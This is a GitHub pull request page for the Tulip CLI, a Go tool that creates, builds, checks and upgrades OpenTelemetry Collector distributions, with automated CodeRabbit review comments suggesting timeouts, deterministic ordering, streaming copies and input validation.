Conversation
Signed-off-by: perebaj <perebaj@gmail.com>
📝 WalkthroughWalkthroughAdds a Tulip CLI (create, build, doctor, upgrade), implements manifest, catalog, and scaffold subsystems, embeds the base manifest, adds tests for manifest and scaffold, updates documentation to document the CLI workflow, and updates Go tooling and dependencies. Changes
Sequence Diagram(s)sequenceDiagram
participant User
participant CLI as Tulip CLI
participant Manifest
participant Catalog
participant Scaffold
participant OCB as OCB/Docker
rect rgba(100, 150, 255, 0.5)
Note over User,Scaffold: Create Command Flow
User->>CLI: tulip create myapp
CLI->>Manifest: LoadBase()
Manifest-->>CLI: base manifest
CLI->>Catalog: Fetch()
Catalog-->>CLI: upstream components
CLI->>User: interactive selection
User->>CLI: selects components
CLI->>Manifest: Generate(name, selections)
Manifest-->>CLI: generated manifest
CLI->>Manifest: WriteToDistributions(name, manifest)
CLI->>Scaffold: Write(distDir, name, version, outputPath)
Scaffold-->>CLI: templates
CLI-->>User: summary + file paths
end
rect rgba(150, 100, 255, 0.5)
Note over User,OCB: Build Command Flow
User->>CLI: tulip build myapp --docker
CLI->>Manifest: validate distribution exists
CLI->>OCB: find ocb binary
OCB-->>CLI: ocb path
CLI->>OCB: run ocb to build native binary
OCB-->>CLI: binary artifacts
CLI->>OCB: docker build (if requested) with tag
OCB-->>CLI: image built
CLI-->>User: build complete
end
rect rgba(100, 200, 100, 0.5)
Note over User,Manifest: Doctor Command Flow
User->>CLI: tulip doctor
CLI->>Manifest: FetchUpstream()
Manifest-->>CLI: upstream manifest
CLI->>Manifest: FindLocalDistributions()
Manifest-->>CLI: local distributions
CLI->>CLI: compare versions
CLI-->>User: drift report
end
rect rgba(200, 150, 100, 0.5)
Note over User,Manifest: Upgrade Command Flow
User->>CLI: tulip upgrade
CLI->>Manifest: FetchUpstream()
Manifest-->>CLI: upstream manifest
CLI->>Manifest: FindLocalDistributions()
Manifest-->>CLI: local distributions
CLI->>Manifest: Upgrade(local, upstream)
Manifest-->>CLI: upgraded manifest(s)
CLI->>Manifest: WriteToDistributions()
CLI-->>User: upgrade summary
end
Estimated code review effort🎯 4 (Complex) | ⏱️ ~60 minutes Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches
🧪 Generate unit tests (beta)
Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 4
🧹 Nitpick comments (6)
cmd/tulip/cmd/upgrade.go (2)
20-31: Consider adding a timeout or context for network operations.
manifest.FetchUpstream()makes an HTTP call without a timeout, which could cause the command to hang indefinitely if the upstream server is unresponsive. While this is a CLI tool and users can Ctrl+C, consider whether a timeout should be added at the HTTP client level inFetchUpstream().🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/cmd/upgrade.go` around lines 20 - 31, The call to manifest.FetchUpstream() from runUpgrade performs network I/O without a timeout; modify the implementation of manifest.FetchUpstream (or its internal HTTP client) to accept a context or use an http.Client with a sensible Timeout to avoid hanging requests, then update callers like runUpgrade to pass a context (e.g., cmd.Context() or a context with timeout) into FetchUpstream so network operations are cancellable and bounded.
41-70: Map iteration order is non-deterministic.Iterating over
locals(amap[string]*Manifest) produces non-deterministic output order. This is functionally correct but may confuse users who expect consistent ordering. Consider sorting the distribution names before processing if predictable output is desired.♻️ Proposed fix for deterministic output
+ import "sort" + + // Sort distribution names for consistent output + names := make([]string, 0, len(locals)) + for name := range locals { + names = append(names, name) + } + sort.Strings(names) + - for name, local := range locals { + for _, name := range names { + local := locals[name]🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/cmd/upgrade.go` around lines 41 - 70, The loop iterates over the map locals which yields nondeterministic order; change the code to collect the map keys (distribution names) into a slice, sort it, then iterate over that sorted slice and lookup each Manifest from locals (use the existing locals map, Manifest type, GoModVersionMap(), manifest.Upgrade and manifest.WriteToDistributions as the referenced symbols) so output and processing order are deterministic.cmd/tulip/cmd/doctor.go (2)
20-25: Consider unexportingComponentDrift.
ComponentDriftis exported (starts with uppercase) but appears to only be used within this file. Consider renaming tocomponentDriftif it's not intended for use outside this package.♻️ Proposed change
-// ComponentDrift describes a version mismatch for a single component. -type ComponentDrift struct { +// componentDrift describes a version mismatch for a single component. +type componentDrift struct { Module string LocalVersion string UpstreamVersion string }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/cmd/doctor.go` around lines 20 - 25, The struct ComponentDrift is exported but only used internally; rename it to componentDrift to unexport it, and update every reference in this file (types, function signatures, variable declarations, slices, returns, and any local helper functions) from ComponentDrift to componentDrift so the package API remains unchanged; also run `go vet`/`go build` to catch any missed references and update any tests in the package that might reference the exported name.
49-78: Same non-deterministic iteration as upgrade command.Like
upgrade.go, this iterates over a map producing non-deterministic output order. Consider sorting distribution names for consistent output across runs.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/cmd/doctor.go` around lines 49 - 78, The loop "for name, local := range locals" in doctor.go iterates a map non-deterministically causing inconsistent output; change it to collect the distribution names from locals into a slice, sort that slice (e.g., sort.Strings), and then iterate over the sorted names to look up local := locals[name], perform the same drift/missing checks, call printDistributionReport(name, local, upstream, drifted, missing), and update outdatedCount as before so output order is stable across runs.cmd/tulip/cmd/build.go (1)
126-131: Consider streaming copy for large binaries.
copyFilereads the entire file into memory before writing. For large collector binaries (potentially 100+ MB), this could cause memory pressure. Consider usingio.Copyfor streaming.♻️ Proposed streaming copy implementation
+import "io" + // copyFile copies src to dst using read/write (no hardlink issues across filesystems). func copyFile(src, dst string) error { - data, err := os.ReadFile(src) + srcFile, err := os.Open(src) if err != nil { return err } - return os.WriteFile(dst, data, 0o755) + defer srcFile.Close() + + dstFile, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o755) + if err != nil { + return err + } + defer dstFile.Close() + + _, err = io.Copy(dstFile, srcFile) + return err }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/cmd/build.go` around lines 126 - 131, The copyFile function currently loads the entire source into memory (os.ReadFile/os.WriteFile); change it to stream with io.Copy: open the source file with os.Open, create the destination with os.OpenFile or os.Create then set permissions to 0o755 (or use os.Chmod after create), use io.Copy(dstFile, srcFile) to stream data, ensure both files are closed (defer Close) and propagate any errors from Open/Create/Copy/Chmod; update references to the function copyFile accordingly.cmd/tulip/cmd/create.go (1)
27-35: Consider validating the distribution name.The
nameargument is used directly in file paths and module names without validation. Consider validating that it doesn't contain special characters, path separators, or other problematic values to prevent unexpected behavior.♻️ Example validation
+import "regexp" + +var validNamePattern = regexp.MustCompile(`^[a-z][a-z0-9-]*$`) + func runCreate(cmd *cobra.Command, args []string) error { name := args[0] + if !validNamePattern.MatchString(name) { + return fmt.Errorf("invalid distribution name %q: must start with lowercase letter and contain only lowercase letters, numbers, and hyphens", name) + } fmt.Printf("Creating new Tulip distribution: %s\n\n", name)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/cmd/create.go` around lines 27 - 35, The runCreate function uses the variable name from args[0] directly; add validation to ensure the distribution name contains only safe characters (e.g., letters, numbers, hyphen, underscore), does not include path separators or traversal tokens (/, \, ..), and conforms to module-name rules (starts with a letter, no spaces or special chars). Implement a regex-based check in runCreate that verifies the name before any file or module usage and return a clear error if it fails (refer to variable name in runCreate), so callers are prevented from creating unsafe file paths or invalid module identifiers.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@cmd/tulip/internal/catalog/catalog.go`:
- Around line 46-63: The Fetch function currently uses http.Get which can hang;
replace that call with an http.Client configured with a timeout (e.g., 15s) and
call client.Get(upstreamURL) instead, keeping the existing error handling,
resp.Body.Close, and parsing via Parse(body); update the Fetch function to
construct the client (http.Client{Timeout: 15 * time.Second}), use it to perform
the request, and import time if not already present.
In `@cmd/tulip/internal/manifest/manifest.go`:
- Around line 90-119: In FindLocalDistributions, don't silently ignore
read/unmarshal errors: when reading each distribution's manifest.yaml (path)
treat os.IsNotExist errors as a skip but propagate other ReadFile errors (wrap
with fmt.Errorf including the distribution name e.Name()); likewise, return a
descriptive error for yaml.Unmarshal failures (include distribution name and the
underlying err) instead of continuing; keep skipping only when the manifest file
is missing but surface corrupt or unreadable manifests by returning an error
from FindLocalDistributions.
- Around line 3-88: The FetchUpstream function uses http.Get which can hang;
replace it with a client that has a timeout: create an http.Client with a
sensible timeout (e.g. 10*time.Second) and call client.Get(upstreamManifestURL)
instead of http.Get, add the "time" import, and keep the existing response/error
handling in FetchUpstream to return the parsed Manifest.
- Around line 155-171: Validate and sanitize distribution names coming from
command-line before using them in filesystem paths or as Go module segments: in
the code that reads args[0] (create.go) and in WriteToDistributions(name string,
m *Manifest), reject or normalize names that are ".", "..", begin with "/" or
contain path separators or ".." segments, e.g. use filepath.Clean and then
ensure the cleaned name equals the original segment and does not contain
os.PathSeparator or ".."; enforce a whitelist regex (e.g. allow only
alphanumerics, hyphen, underscore and dot) so generated module strings
(github.com/ollygarden/tulip/%s) will be valid, and additionally after
filepath.Join("distributions", name) verify the resulting path is inside the
distributions directory via filepath.Rel to prevent path traversal before
writing files.
---
Nitpick comments:
In `@cmd/tulip/cmd/build.go`:
- Around line 126-131: The copyFile function currently loads the entire source
into memory (os.ReadFile/os.WriteFile); change it to stream with io.Copy: open
the source file with os.Open, create the destination with os.OpenFile or
os.Create then set permissions to 0o755 (or use os.Chmod after create), use
io.Copy(dstFile, srcFile) to stream data, ensure both files are closed (defer
Close) and propagate any errors from Open/Create/Copy/Chmod; update references
to the function copyFile accordingly.
In `@cmd/tulip/cmd/create.go`:
- Around line 27-35: The runCreate function uses the variable name from args[0]
directly; add validation to ensure the distribution name contains only safe
characters (e.g., letters, numbers, hyphen, underscore), does not include path
separators or traversal tokens (/, \, ..), and conforms to module-name rules
(starts with a letter, no spaces or special chars). Implement a regex-based
check in runCreate that verifies the name before any file or module usage and
return a clear error if it fails (refer to variable name in runCreate), so
callers are prevented from creating unsafe file paths or invalid module
identifiers.
In `@cmd/tulip/cmd/doctor.go`:
- Around line 20-25: The struct ComponentDrift is exported but only used
internally; rename it to componentDrift to unexport it, and update every
reference in this file (types, function signatures, variable declarations,
slices, returns, and any local helper functions) from ComponentDrift to
componentDrift so the package API remains unchanged; also run `go vet`/`go
build` to catch any missed references and update any tests in the package that
might reference the exported name.
- Around line 49-78: The loop "for name, local := range locals" in doctor.go
iterates a map non-deterministically causing inconsistent output; change it to
collect the distribution names from locals into a slice, sort that slice (e.g.,
sort.Strings), and then iterate over the sorted names to look up local :=
locals[name], perform the same drift/missing checks, call
printDistributionReport(name, local, upstream, drifted, missing), and update
outdatedCount as before so output order is stable across runs.
In `@cmd/tulip/cmd/upgrade.go`:
- Around line 20-31: The call to manifest.FetchUpstream() from runUpgrade
performs network I/O without a timeout; modify the implementation of
manifest.FetchUpstream (or its internal HTTP client) to accept a context or use
an http.Client with a sensible Timeout to avoid hanging requests, then update
callers like runUpgrade to pass a context (e.g., cmd.Context() or a context with
timeout) into FetchUpstream so network operations are cancellable and bounded.
- Around line 41-70: The loop iterates over the map locals which yields
nondeterministic order; change the code to collect the map keys (distribution
names) into a slice, sort it, then iterate over that sorted slice and lookup
each Manifest from locals (use the existing locals map, Manifest type,
GoModVersionMap(), manifest.Upgrade and manifest.WriteToDistributions as the
referenced symbols) so output and processing order are deterministic.
Comment on lines
+46
to
+63
| // Fetch downloads the upstream builder-config.yaml and parses it into a Catalog. | ||
| func Fetch() (*Catalog, error) { | ||
| resp, err := http.Get(upstreamURL) | ||
| if err != nil { | ||
| return nil, fmt.Errorf("fetching upstream catalog: %w", err) | ||
| } | ||
| defer resp.Body.Close() | ||
|
|
||
| if resp.StatusCode != http.StatusOK { | ||
| return nil, fmt.Errorf("unexpected status %d from upstream", resp.StatusCode) | ||
| } | ||
|
|
||
| body, err := io.ReadAll(resp.Body) | ||
| if err != nil { | ||
| return nil, fmt.Errorf("reading response body: %w", err) | ||
| } | ||
|
|
||
| return Parse(body) |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, verify the file exists and check the code at the mentioned lines
fd "catalog.go" | head -5Repository: ollygarden/tulip
Length of output: 97
🏁 Script executed:
# Check the exact content of the file to verify the code snippet
cat -n cmd/tulip/internal/catalog/catalog.go | sed -n '40,70p'Repository: ollygarden/tulip
Length of output: 1066
🏁 Script executed:
# Search for http.Client usage patterns in the codebase to see how timeouts are typically handled
rg "http\.Client" -A 3Repository: ollygarden/tulip
Length of output: 42
🏁 Script executed:
# Search for timeout configurations in the codebase
rg "Timeout" --type go | head -20Repository: ollygarden/tulip
Length of output: 42
🏁 Script executed:
# Check if there's any context usage for HTTP requests
rg "http\.Get\|http\.Do\|client\.Do" -A 2 --type go | head -30Repository: ollygarden/tulip
Length of output: 42
🏁 Script executed:
# Check the imports in the catalog.go file
head -30 cmd/tulip/internal/catalog/catalog.goRepository: ollygarden/tulip
Length of output: 795
🏁 Script executed:
# Search for context usage with HTTP in the codebase
rg "context\." -A 2 --type go | grep -A 2 "Get\|Do" | head -20Repository: ollygarden/tulip
Length of output: 42
🏁 Script executed:
# Check how the Fetch function is called - look for main or entry points
rg "Fetch\(\)" --type go | head -10Repository: ollygarden/tulip
Length of output: 183
🏁 Script executed:
# Search for any existing timeout or deadline patterns
rg "deadline\|Context\(" --type go | head -15Repository: ollygarden/tulip
Length of output: 42
Add a timeout to upstream catalog fetches.
http.Get can hang indefinitely on network stalls, which would freeze the CLI. The Fetch() function should use an http.Client with a reasonable timeout (e.g., 15 seconds) to ensure the command fails fast instead of blocking the user.
🔧 Suggested change
import (
"fmt"
"io"
"net/http"
"path"
"strings"
+ "time"
"gopkg.in/yaml.v3"
)
@@
func Fetch() (*Catalog, error) {
- resp, err := http.Get(upstreamURL)
+ client := &http.Client{Timeout: 15 * time.Second}
+ resp, err := client.Get(upstreamURL)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/internal/catalog/catalog.go` around lines 46 - 63, The Fetch
function currently uses http.Get which can hang; replace that call with an
http.Client configured with a timeout (e.g., 15s) and call
client.Get(upstreamURL) instead, keeping the existing error handling,
resp.Body.Close, and parsing via Parse(body); update the Fetch function to
construct the client (http.Client{Timeout: 15 * time.Second}), use it to perform
the request, and import time if not already present.
Comment on lines
+3
to
+88
| import ( | ||
| "fmt" | ||
| "io" | ||
| "net/http" | ||
| "os" | ||
| "path/filepath" | ||
| "strings" | ||
|
|
||
| tulip "github.com/ollygarden/tulip" | ||
| "gopkg.in/yaml.v3" | ||
| ) | ||
|
|
||
| const upstreamManifestURL = "https://raw.githubusercontent.com/ollygarden/tulip/main/distributions/tulip/manifest.yaml" | ||
|
|
||
| // Manifest represents an OCB manifest.yaml. | ||
| type Manifest struct { | ||
| Dist Dist `yaml:"dist"` | ||
| Extensions []Entry `yaml:"extensions,omitempty"` | ||
| Receivers []Entry `yaml:"receivers,omitempty"` | ||
| Exporters []Entry `yaml:"exporters,omitempty"` | ||
| Processors []Entry `yaml:"processors,omitempty"` | ||
| Connectors []Entry `yaml:"connectors,omitempty"` | ||
| Providers []Entry `yaml:"providers,omitempty"` | ||
| } | ||
|
|
||
| // Dist holds the distribution metadata. | ||
| type Dist struct { | ||
| Module string `yaml:"module"` | ||
| Name string `yaml:"name"` | ||
| Description string `yaml:"description"` | ||
| Version string `yaml:"version"` | ||
| OutputPath string `yaml:"output_path"` | ||
| BuildTags string `yaml:"build_tags,omitempty"` | ||
| } | ||
|
|
||
| // Entry represents a single component entry. | ||
| type Entry struct { | ||
| GoMod string `yaml:"gomod"` | ||
| } | ||
|
|
||
| // LoadBase returns the base tulip manifest embedded in the binary. | ||
| // This works regardless of where the CLI is run — the manifest is | ||
| // baked in at build time from distributions/tulip/manifest.yaml. | ||
| func LoadBase() (*Manifest, error) { | ||
| var m Manifest | ||
| if err := yaml.Unmarshal(tulip.BaseManifestYAML, &m); err != nil { | ||
| return nil, fmt.Errorf("parsing embedded base manifest: %w", err) | ||
| } | ||
| return &m, nil | ||
| } | ||
|
|
||
| // GoModSet returns a set of all gomod module paths (without version) in the manifest. | ||
| func (m *Manifest) GoModSet() map[string]bool { | ||
| set := make(map[string]bool) | ||
| for _, sections := range [][]Entry{m.Extensions, m.Receivers, m.Exporters, m.Processors, m.Connectors, m.Providers} { | ||
| for _, e := range sections { | ||
| mod, _ := splitGoMod(e.GoMod) | ||
| set[mod] = true | ||
| } | ||
| } | ||
| return set | ||
| } | ||
|
|
||
| // FetchUpstream downloads the latest base manifest from the ollygarden/tulip main branch. | ||
| func FetchUpstream() (*Manifest, error) { | ||
| resp, err := http.Get(upstreamManifestURL) | ||
| if err != nil { | ||
| return nil, fmt.Errorf("fetching upstream manifest: %w", err) | ||
| } | ||
| defer resp.Body.Close() | ||
|
|
||
| if resp.StatusCode != http.StatusOK { | ||
| return nil, fmt.Errorf("unexpected status %d from upstream", resp.StatusCode) | ||
| } | ||
|
|
||
| body, err := io.ReadAll(resp.Body) | ||
| if err != nil { | ||
| return nil, fmt.Errorf("reading upstream manifest: %w", err) | ||
| } | ||
|
|
||
| var m Manifest | ||
| if err := yaml.Unmarshal(body, &m); err != nil { | ||
| return nil, fmt.Errorf("parsing upstream manifest: %w", err) | ||
| } | ||
| return &m, nil | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
wc -l cmd/tulip/internal/manifest/manifest.goRepository: ollygarden/tulip
Length of output: 103
🏁 Script executed:
cat -n cmd/tulip/internal/manifest/manifest.goRepository: ollygarden/tulip
Length of output: 9292
Add a timeout to upstream manifest fetches.
http.Get can hang indefinitely; a timeout prevents the CLI from stalling on network issues.
🔧 Suggested change
import (
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
+ "time"
tulip "github.com/ollygarden/tulip"
"gopkg.in/yaml.v3"
)
@@
func FetchUpstream() (*Manifest, error) {
- resp, err := http.Get(upstreamManifestURL)
+ client := &http.Client{Timeout: 15 * time.Second}
+ resp, err := client.Get(upstreamManifestURL)📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| import ( | |
| "fmt" | |
| "io" | |
| "net/http" | |
| "os" | |
| "path/filepath" | |
| "strings" | |
| tulip "github.com/ollygarden/tulip" | |
| "gopkg.in/yaml.v3" | |
| ) | |
| const upstreamManifestURL = "https://raw.githubusercontent.com/ollygarden/tulip/main/distributions/tulip/manifest.yaml" | |
| // Manifest represents an OCB manifest.yaml. | |
| type Manifest struct { | |
| Dist Dist `yaml:"dist"` | |
| Extensions []Entry `yaml:"extensions,omitempty"` | |
| Receivers []Entry `yaml:"receivers,omitempty"` | |
| Exporters []Entry `yaml:"exporters,omitempty"` | |
| Processors []Entry `yaml:"processors,omitempty"` | |
| Connectors []Entry `yaml:"connectors,omitempty"` | |
| Providers []Entry `yaml:"providers,omitempty"` | |
| } | |
| // Dist holds the distribution metadata. | |
| type Dist struct { | |
| Module string `yaml:"module"` | |
| Name string `yaml:"name"` | |
| Description string `yaml:"description"` | |
| Version string `yaml:"version"` | |
| OutputPath string `yaml:"output_path"` | |
| BuildTags string `yaml:"build_tags,omitempty"` | |
| } | |
| // Entry represents a single component entry. | |
| type Entry struct { | |
| GoMod string `yaml:"gomod"` | |
| } | |
| // LoadBase returns the base tulip manifest embedded in the binary. | |
| // This works regardless of where the CLI is run — the manifest is | |
| // baked in at build time from distributions/tulip/manifest.yaml. | |
| func LoadBase() (*Manifest, error) { | |
| var m Manifest | |
| if err := yaml.Unmarshal(tulip.BaseManifestYAML, &m); err != nil { | |
| return nil, fmt.Errorf("parsing embedded base manifest: %w", err) | |
| } | |
| return &m, nil | |
| } | |
| // GoModSet returns a set of all gomod module paths (without version) in the manifest. | |
| func (m *Manifest) GoModSet() map[string]bool { | |
| set := make(map[string]bool) | |
| for _, sections := range [][]Entry{m.Extensions, m.Receivers, m.Exporters, m.Processors, m.Connectors, m.Providers} { | |
| for _, e := range sections { | |
| mod, _ := splitGoMod(e.GoMod) | |
| set[mod] = true | |
| } | |
| } | |
| return set | |
| } | |
| // FetchUpstream downloads the latest base manifest from the ollygarden/tulip main branch. | |
| func FetchUpstream() (*Manifest, error) { | |
| resp, err := http.Get(upstreamManifestURL) | |
| if err != nil { | |
| return nil, fmt.Errorf("fetching upstream manifest: %w", err) | |
| } | |
| defer resp.Body.Close() | |
| if resp.StatusCode != http.StatusOK { | |
| return nil, fmt.Errorf("unexpected status %d from upstream", resp.StatusCode) | |
| } | |
| body, err := io.ReadAll(resp.Body) | |
| if err != nil { | |
| return nil, fmt.Errorf("reading upstream manifest: %w", err) | |
| } | |
| var m Manifest | |
| if err := yaml.Unmarshal(body, &m); err != nil { | |
| return nil, fmt.Errorf("parsing upstream manifest: %w", err) | |
| } | |
| return &m, nil | |
| } | |
| import ( | |
| "fmt" | |
| "io" | |
| "net/http" | |
| "os" | |
| "path/filepath" | |
| "strings" | |
| "time" | |
| tulip "github.com/ollygarden/tulip" | |
| "gopkg.in/yaml.v3" | |
| ) | |
| const upstreamManifestURL = "https://raw.githubusercontent.com/ollygarden/tulip/main/distributions/tulip/manifest.yaml" | |
| // Manifest represents an OCB manifest.yaml. | |
| type Manifest struct { | |
| Dist Dist `yaml:"dist"` | |
| Extensions []Entry `yaml:"extensions,omitempty"` | |
| Receivers []Entry `yaml:"receivers,omitempty"` | |
| Exporters []Entry `yaml:"exporters,omitempty"` | |
| Processors []Entry `yaml:"processors,omitempty"` | |
| Connectors []Entry `yaml:"connectors,omitempty"` | |
| Providers []Entry `yaml:"providers,omitempty"` | |
| } | |
| // Dist holds the distribution metadata. | |
| type Dist struct { | |
| Module string `yaml:"module"` | |
| Name string `yaml:"name"` | |
| Description string `yaml:"description"` | |
| Version string `yaml:"version"` | |
| OutputPath string `yaml:"output_path"` | |
| BuildTags string `yaml:"build_tags,omitempty"` | |
| } | |
| // Entry represents a single component entry. | |
| type Entry struct { | |
| GoMod string `yaml:"gomod"` | |
| } | |
| // LoadBase returns the base tulip manifest embedded in the binary. | |
| // This works regardless of where the CLI is run — the manifest is | |
| // baked in at build time from distributions/tulip/manifest.yaml. | |
| func LoadBase() (*Manifest, error) { | |
| var m Manifest | |
| if err := yaml.Unmarshal(tulip.BaseManifestYAML, &m); err != nil { | |
| return nil, fmt.Errorf("parsing embedded base manifest: %w", err) | |
| } | |
| return &m, nil | |
| } | |
| // GoModSet returns a set of all gomod module paths (without version) in the manifest. | |
| func (m *Manifest) GoModSet() map[string]bool { | |
| set := make(map[string]bool) | |
| for _, sections := range [][]Entry{m.Extensions, m.Receivers, m.Exporters, m.Processors, m.Connectors, m.Providers} { | |
| for _, e := range sections { | |
| mod, _ := splitGoMod(e.GoMod) | |
| set[mod] = true | |
| } | |
| } | |
| return set | |
| } | |
| // FetchUpstream downloads the latest base manifest from the ollygarden/tulip main branch. | |
| func FetchUpstream() (*Manifest, error) { | |
| client := &http.Client{Timeout: 15 * time.Second} | |
| resp, err := client.Get(upstreamManifestURL) | |
| if err != nil { | |
| return nil, fmt.Errorf("fetching upstream manifest: %w", err) | |
| } | |
| defer resp.Body.Close() | |
| if resp.StatusCode != http.StatusOK { | |
| return nil, fmt.Errorf("unexpected status %d from upstream", resp.StatusCode) | |
| } | |
| body, err := io.ReadAll(resp.Body) | |
| if err != nil { | |
| return nil, fmt.Errorf("reading upstream manifest: %w", err) | |
| } | |
| var m Manifest | |
| if err := yaml.Unmarshal(body, &m); err != nil { | |
| return nil, fmt.Errorf("parsing upstream manifest: %w", err) | |
| } | |
| return &m, nil | |
| } |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/internal/manifest/manifest.go` around lines 3 - 88, The
FetchUpstream function uses http.Get which can hang; replace it with a client
that has a timeout: create an http.Client with a sensible timeout (e.g.
10*time.Second) and call client.Get(upstreamManifestURL) instead of http.Get,
add the "time" import, and keep the existing response/error handling in
FetchUpstream to return the parsed Manifest.
Comment on lines
+90
to
+119
| // FindLocalDistributions scans ./distributions/ relative to the current | ||
| // working directory for all manifest.yaml files, returning them keyed by | ||
| // distribution name. | ||
| func FindLocalDistributions() (map[string]*Manifest, error) { | ||
| entries, err := os.ReadDir("distributions") | ||
| if err != nil { | ||
| if os.IsNotExist(err) { | ||
| return nil, fmt.Errorf("no distributions/ directory found in the current directory\n\nRun this command from your project root, or create a distribution first:\n tulip create <name>") | ||
| } | ||
| return nil, fmt.Errorf("reading distributions directory: %w", err) | ||
| } | ||
|
|
||
| result := make(map[string]*Manifest) | ||
| for _, e := range entries { | ||
| if !e.IsDir() { | ||
| continue | ||
| } | ||
| path := filepath.Join("distributions", e.Name(), "manifest.yaml") | ||
| data, err := os.ReadFile(path) | ||
| if err != nil { | ||
| continue // skip directories without manifest.yaml | ||
| } | ||
| var m Manifest | ||
| if err := yaml.Unmarshal(data, &m); err != nil { | ||
| continue | ||
| } | ||
| result[e.Name()] = &m | ||
| } | ||
|
|
||
| return result, nil |
There was a problem hiding this comment.
Surface malformed manifests instead of silently skipping.
Ignoring read/unmarshal errors can hide corrupt manifests and cause doctor/upgrade to miss distributions. Prefer returning a descriptive error while still skipping missing manifests.
🔧 Suggested change
path := filepath.Join("distributions", e.Name(), "manifest.yaml")
data, err := os.ReadFile(path)
if err != nil {
- continue // skip directories without manifest.yaml
+ if os.IsNotExist(err) {
+ continue // skip directories without manifest.yaml
+ }
+ return nil, fmt.Errorf("reading %s: %w", path, err)
}
var m Manifest
if err := yaml.Unmarshal(data, &m); err != nil {
- continue
+ return nil, fmt.Errorf("parsing %s: %w", path, err)
}
result[e.Name()] = &m🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/internal/manifest/manifest.go` around lines 90 - 119, In
FindLocalDistributions, don't silently ignore read/unmarshal errors: when
reading each distribution's manifest.yaml (path) treat os.IsNotExist errors as a
skip but propagate other ReadFile errors (wrap with fmt.Errorf including the
distribution name e.Name()); likewise, return a descriptive error for
yaml.Unmarshal failures (include distribution name and the underlying err)
instead of continuing; keep skipping only when the manifest file is missing but
surface corrupt or unreadable manifests by returning an error from
FindLocalDistributions.
Comment on lines
+155
to
+171
| // WriteToDistributions writes the manifest to ./distributions/<name>/manifest.yaml | ||
| // relative to the current working directory. | ||
| func WriteToDistributions(name string, m *Manifest) (string, error) { | ||
| dir := filepath.Join("distributions", name) | ||
| if err := os.MkdirAll(dir, 0o755); err != nil { | ||
| return "", fmt.Errorf("creating distribution directory: %w", err) | ||
| } | ||
|
|
||
| out, err := yaml.Marshal(m) | ||
| if err != nil { | ||
| return "", fmt.Errorf("marshaling manifest: %w", err) | ||
| } | ||
|
|
||
| path := filepath.Join(dir, "manifest.yaml") | ||
| if err := os.WriteFile(path, out, 0o644); err != nil { | ||
| return "", fmt.Errorf("writing manifest: %w", err) | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
ast-grep --pattern 'WriteToDistributions($$$)'Repository: ollygarden/tulip
Length of output: 156
🏁 Script executed:
# Find production call sites using ripgrep
rg 'WriteToDistributions' --type goRepository: ollygarden/tulip
Length of output: 1101
🏁 Script executed:
# Examine the call site in upgrade.go
rg -B 5 -A 5 'manifest.WriteToDistributions' cmd/tulip/cmd/upgrade.goRepository: ollygarden/tulip
Length of output: 417
🏁 Script executed:
# Find the function containing this call and trace where name comes from
rg -B 20 'manifest.WriteToDistributions' cmd/tulip/cmd/upgrade.go | head -40Repository: ollygarden/tulip
Length of output: 605
🏁 Script executed:
# Get more context to find where name comes from
rg -B 30 'manifest.WriteToDistributions' cmd/tulip/cmd/upgrade.go | head -60Repository: ollygarden/tulip
Length of output: 806
🏁 Script executed:
# Get broader context to find source of locals map
rg -B 50 'for name, local := range locals' cmd/tulip/cmd/upgrade.go | head -70Repository: ollygarden/tulip
Length of output: 917
🏁 Script executed:
# Find FindLocalDistributions function to see what keys it returns
rg -A 30 'func FindLocalDistributions' cmd/tulip/internal/manifest/Repository: ollygarden/tulip
Length of output: 2261
🏁 Script executed:
# Now check create.go to see where name comes from
rg -B 30 'manifest.WriteToDistributions' cmd/tulip/cmd/create.go | head -50Repository: ollygarden/tulip
Length of output: 676
🏁 Script executed:
# Find where name comes from in create.go
rg -B 50 'manifest.Generate(name, base' cmd/tulip/cmd/create.go | head -80Repository: ollygarden/tulip
Length of output: 156
🏁 Script executed:
# Find where name comes from in create.go
rg -B 50 'manifest\.Generate' cmd/tulip/cmd/create.go | head -80Repository: ollygarden/tulip
Length of output: 1337
🏁 Script executed:
# Find the function signature of create command
rg -B 80 'manifest.Generate' cmd/tulip/cmd/create.go | grep -A 80 'func run'Repository: ollygarden/tulip
Length of output: 1649
🏁 Script executed:
# Check the manifest.Generate function to see how name is used
rg -A 20 'func Generate' cmd/tulip/internal/manifest/Repository: ollygarden/tulip
Length of output: 1871
🏁 Script executed:
# Check if there's validation at the Cobra command level or elsewhere
cat -n cmd/tulip/cmd/create.go | head -30Repository: ollygarden/tulip
Length of output: 918
🏁 Script executed:
# Check the test to see what names are tested
cat -n cmd/tulip/internal/manifest/manifest_test.go | grep -A 20 'func TestWriteToDistributions'Repository: ollygarden/tulip
Length of output: 781
🏁 Script executed:
# Check if there's any validation in the createCmd or elsewhere
rg 'cobra.ExactArgs' cmd/tulip/cmd/create.go -A 5Repository: ollygarden/tulip
Length of output: 184
🏁 Script executed:
